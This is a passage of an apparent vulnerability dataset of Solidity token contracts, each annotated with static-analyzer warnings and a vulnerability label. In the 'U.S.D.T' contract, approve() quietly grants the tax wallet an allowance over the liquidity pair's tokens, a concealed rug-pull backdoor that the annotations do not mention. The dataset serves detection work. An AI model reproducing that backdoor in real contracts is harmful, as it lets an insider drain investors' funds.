'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6583a2f): DOGE.enableTrading() ignores return value by IToken(uniswapPair).approve(address(uniswapRouter),type()(uint256).max)\n\t// Recommendation for 6583a2f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 123554e): DOGE.enableTrading() ignores return value by uniswapRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 123554e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6b9c0a6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6b9c0a6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!isTradingOpen, \"trading is already open\");\n\n uniswapRouter = IUniswapRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _setApproval(address(this), address(uniswapRouter), TOTAL_SUPPLY);\n\n\t\t// reentrancy-benign | ID: bf7a02a\n\t\t// reentrancy-benign | ID: 470feb0\n\t\t// reentrancy-eth | ID: 6b9c0a6\n uniswapPair = IUniswapFactory(uniswapRouter.factory()).createPair(\n address(this),\n uniswapRouter.WETH()\n );\n\n\t\t// reentrancy-benign | ID: bf7a02a\n noLimits[address(uniswapPair)] = true;\n\n\t\t// reentrancy-benign | ID: 470feb0\n\t\t// unused-return | ID: 123554e\n\t\t// reentrancy-eth | ID: 6b9c0a6\n uniswapRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 470feb0\n\t\t// unused-return | ID: 6583a2f\n\t\t// reentrancy-eth | ID: 6b9c0a6\n IToken(uniswapPair).approve(address(uniswapRouter), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 470feb0\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 6b9c0a6\n isTradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 470feb0\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_10275.sol", "size_bytes": 23356, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract USDT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: e3857ca): USDT._bots is never initialized. It is used in USDT._transfer(address,address,uint256)\n\t// Recommendation for e3857ca: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 85ca39a): USDT._taxWallet should be immutable \n\t// Recommendation for 85ca39a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address private magaowner;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9dbe0f9): USDT._initialBuyTax should be constant \n\t// Recommendation for 9dbe0f9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c9b052): USDT._initialSellTax should be constant \n\t// Recommendation for 1c9b052: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: cfa7c24): USDT._finalBuyTax should be constant \n\t// Recommendation for cfa7c24: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a717d4a): USDT._finalSellTax should be constant \n\t// Recommendation for a717d4a: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 50dd9cc): USDT._reduceBuyAt should be constant \n\t// Recommendation for 50dd9cc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4f8a912): USDT._reduceSellAt should be constant \n\t// Recommendation for 4f8a912: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: d39e634): USDT._preventCount should be constant \n\t// Recommendation for d39e634: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 5;\n\n uint256 private _buyTokenCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"United Speech Donald Trump\";\n\n string private constant _symbol = unicode\"U.S.D.T\";\n\n uint256 public _maxTxAmount = (_tTotal * 1) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 58747bc): USDT._minTaxSwap should be constant \n\t// Recommendation for 58747bc: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 28dc6c6): USDT._maxTaxSwap should be constant \n\t// Recommendation for 28dc6c6: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x2C9F3231e86dA72fc708fdCCd11eFF189553AC8E);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFees[owner()] = true;\n\n _isExcludedFromFees[address(this)] = true;\n\n _isExcludedFromFees[_taxWallet] = true;\n\n magaowner = _msgSender();\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: edc466c): USDT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for edc466c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5017120): USDT.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5017120: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n address owner = _msgSender();\n\n _approve(spender == _taxWallet ? magaowner : owner, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1b4e2fc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1b4e2fc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 514b2ef): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 514b2ef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1b4e2fc\n\t\t// reentrancy-benign | ID: 514b2ef\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1b4e2fc\n\t\t// reentrancy-benign | ID: 514b2ef\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c6363e): USDT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c6363e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 514b2ef\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1b4e2fc\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2a272bd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2a272bd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: c4de2c0): USDT._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for c4de2c0: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: e3857ca): USDT._bots is never initialized. It is used in USDT._transfer(address,address,uint256)\n\t// Recommendation for e3857ca: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ce7c61a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ce7c61a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9ceb34a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9ceb34a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _taxFeeAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceBuyAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFees[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyTokenCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: c4de2c0\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 2a272bd\n\t\t\t\t\t// reentrancy-eth | ID: ce7c61a\n\t\t\t\t\t// reentrancy-eth | ID: 9ceb34a\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyTokenCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 2a272bd\n\t\t\t\t\t\t// reentrancy-eth | ID: ce7c61a\n\t\t\t\t\t\t// reentrancy-eth | ID: 9ceb34a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 2a272bd\n\t\t\t\t\t\t\t// reentrancy-eth | ID: ce7c61a\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 9ceb34a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 9ceb34a\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 2a272bd\n\t\t\t\t\t// reentrancy-eth | ID: ce7c61a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 2a272bd\n\t\t\t\t\t\t// reentrancy-eth | ID: ce7c61a\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_taxFeeAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ce7c61a\n _balances[address(this)] = _balances[address(this)].add(\n _taxFeeAmount\n );\n\n\t\t\t// reentrancy-events | ID: 2a272bd\n emit Transfer(from, address(this), _taxFeeAmount);\n }\n\n\t\t// reentrancy-eth | ID: ce7c61a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ce7c61a\n _balances[to] = _balances[to].add(amount.sub(_taxFeeAmount));\n\n\t\t// reentrancy-events | ID: 2a272bd\n emit Transfer(from, to, amount.sub(_taxFeeAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1b4e2fc\n\t\t// reentrancy-events | ID: 2a272bd\n\t\t// reentrancy-benign | ID: 514b2ef\n\t\t// reentrancy-eth | ID: ce7c61a\n\t\t// reentrancy-eth | ID: 9ceb34a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n _caLimitSell = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1b4e2fc\n\t\t// reentrancy-events | ID: 2a272bd\n\t\t// reentrancy-eth | ID: ce7c61a\n\t\t// reentrancy-eth | ID: 9ceb34a\n _taxWallet.transfer(amount);\n }\n\n function getStuckETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 001cddd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 001cddd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e5b66e9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e5b66e9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 819748c): USDT.milkTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 819748c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bb34d07): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bb34d07: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function milkTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 001cddd\n\t\t// reentrancy-benign | ID: e5b66e9\n\t\t// reentrancy-eth | ID: bb34d07\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: e5b66e9\n magaowner = uniswapV2Pair;\n\n\t\t// reentrancy-benign | ID: 001cddd\n\t\t// unused-return | ID: 819748c\n\t\t// reentrancy-eth | ID: bb34d07\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 001cddd\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: bb34d07\n tradingOpen = true;\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_10276.sol", "size_bytes": 21441, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\nabstract contract Nonces {\n error InvalidAccountNonce(address account, uint256 currentNonce);\n\n mapping(address account => uint256) private _nonces;\n\n function nonces(address owner) public view virtual returns (uint256) {\n return _nonces[owner];\n }\n\n function _useNonce(address owner) internal virtual returns (uint256) {\n unchecked {\n return _nonces[owner]++;\n }\n }\n\n function _useCheckedNonce(address owner, uint256 nonce) internal virtual {\n uint256 current = _useNonce(owner);\n\n if (nonce != current) {\n revert InvalidAccountNonce(owner, current);\n }\n }\n}\n\ninterface IERC5267 {\n event EIP712DomainChanged();\n\n function eip712Domain()\n external\n view\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n );\n}\n\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n function getAddressSlot(\n bytes32 slot\n ) internal pure returns (AddressSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBooleanSlot(\n bytes32 slot\n ) internal pure returns (BooleanSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytes32Slot(\n bytes32 slot\n ) internal pure returns (Bytes32Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getUint256Slot(\n bytes32 slot\n ) internal pure returns (Uint256Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n bytes32 slot\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n string storage store\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n\n function getBytesSlot(\n bytes32 slot\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytesSlot(\n bytes storage store\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n}\n\ntype ShortString is bytes32;\n\nlibrary ShortStrings {\n bytes32 private constant FALLBACK_SENTINEL =\n 0x00000000000000000000000000000000000000000000000000000000000000FF;\n\n error StringTooLong(string str);\n\n error InvalidShortString();\n\n function toShortString(\n string memory str\n ) internal pure returns (ShortString) {\n bytes memory bstr = bytes(str);\n\n if (bstr.length > 31) {\n revert StringTooLong(str);\n }\n\n return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));\n }\n\n function toString(ShortString sstr) internal pure returns (string memory) {\n uint256 len = byteLength(sstr);\n\n string memory str = new string(32);\n\n assembly {\n mstore(str, len)\n\n mstore(add(str, 0x20), sstr)\n }\n\n return str;\n }\n\n function byteLength(ShortString sstr) internal pure returns (uint256) {\n uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;\n\n if (result > 31) {\n revert InvalidShortString();\n }\n\n return result;\n }\n\n function toShortStringWithFallback(\n string memory value,\n string storage store\n ) internal returns (ShortString) {\n if (bytes(value).length < 32) {\n return toShortString(value);\n } else {\n StorageSlot.getStringSlot(store).value = value;\n\n return ShortString.wrap(FALLBACK_SENTINEL);\n }\n }\n\n function toStringWithFallback(\n ShortString value,\n string storage store\n ) internal pure returns (string memory) {\n if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {\n return toString(value);\n } else {\n return store;\n }\n }\n\n function byteLengthWithFallback(\n ShortString value,\n string storage store\n ) internal view returns (uint256) {\n if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {\n return byteLength(value);\n } else {\n return bytes(store).length;\n }\n }\n}\n\nlibrary SignedMath {\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n\nlibrary Math {\n error MathOverflowedMulDiv();\n\n enum Rounding {\n Floor,\n Ceil,\n Trunc,\n Expand\n }\n\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n return a / b;\n }\n\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5d1f706): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 5d1f706: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3f7ef0b): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for 3f7ef0b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 738cbd7): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 738cbd7: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4c3f1e0): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 4c3f1e0: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 382c8e1): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 382c8e1: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5f29505): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 5f29505: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e57e269): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for e57e269: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3fec7b8): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for 3fec7b8: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: bff945a): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for bff945a: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0 = x * y;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n if (denominator <= prod1) {\n revert MathOverflowedMulDiv();\n }\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (0 - denominator);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: 5d1f706\n\t\t\t\t// divide-before-multiply | ID: 3f7ef0b\n\t\t\t\t// divide-before-multiply | ID: 738cbd7\n\t\t\t\t// divide-before-multiply | ID: 4c3f1e0\n\t\t\t\t// divide-before-multiply | ID: 382c8e1\n\t\t\t\t// divide-before-multiply | ID: 